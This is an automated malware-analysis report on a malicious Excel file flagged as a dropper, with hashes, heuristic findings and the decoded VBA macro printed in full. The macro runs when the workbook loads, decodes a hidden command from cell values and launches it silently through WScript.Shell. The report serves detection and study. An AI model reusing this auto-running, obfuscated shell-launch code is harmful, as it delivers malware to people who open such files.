Xls.Dropper.Agent-7784667-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 d3e9f6933d519b6b…

MALICIOUS

Office (OLE)

77.5 KB Created: 2020-05-11 08:16:59 First seen: 2020-09-15
MD5: 4f507c7ce6a41ac8c331f11ed8c79b9a SHA-1: 3162e17844187e8b1328b30efdeadba74b55b8a2 SHA-256: d3e9f6933d519b6bd1514ceaaa14df64722214c0c6c2a60a6924c92f284b3c08
222 Risk Score

Malware Insights

Xls.Dropper.Agent-7784667-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The VBA macro within this Excel file utilizes WScript.Shell to execute commands, indicated by the 'OLE_VBA_SHELL' and 'OLE_VBA_WSCRIPT' heuristic firings. The script attempts to construct a command string from cell constants and execute it, likely to download and run a secondary payload. The ClamAV detection name 'Xls.Dropper.Agent-7784667-0' further supports its role as a dropper.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-7784667-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7784667-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    For Each pagess In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
    zz = f: backs = backs + Chr(pagess + li): Next pagess: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(backs, zz, f)): WScript.Quit: ActiveWorkbook.Close False
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    For Each pagess In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
    zz = f: backs = backs + Chr(pagess + li): Next pagess: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(backs, zz, f)): WScript.Quit: ActiveWorkbook.Close False
    End Sub
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1153 bytes
SHA-256: b03e3fe42d910ac35d42d4b085e9c03cc26693400543bd95305faafa9a497384
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "OpenAndSave, 8, 2, MSForms, CommandButton"
Attribute VB_Control = "SaveAndOpen, 9, 3, MSForms, Frame"
Private Sub OpenAndSave_Click()
openedd
End Sub
Private Sub SaveAndOpen_Layout()
OpenAndSave_Click
End Sub
Sub openedd()
On Error Resume Next:
f = 0: li = 1
For Each pagess In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants)
zz = f: backs = backs + Chr(pagess + li): Next pagess: WScript.Quit = ("" & CreateObject("WScript.Shell").Run(backs, zz, f)): WScript.Quit: ActiveWorkbook.Close False
End Sub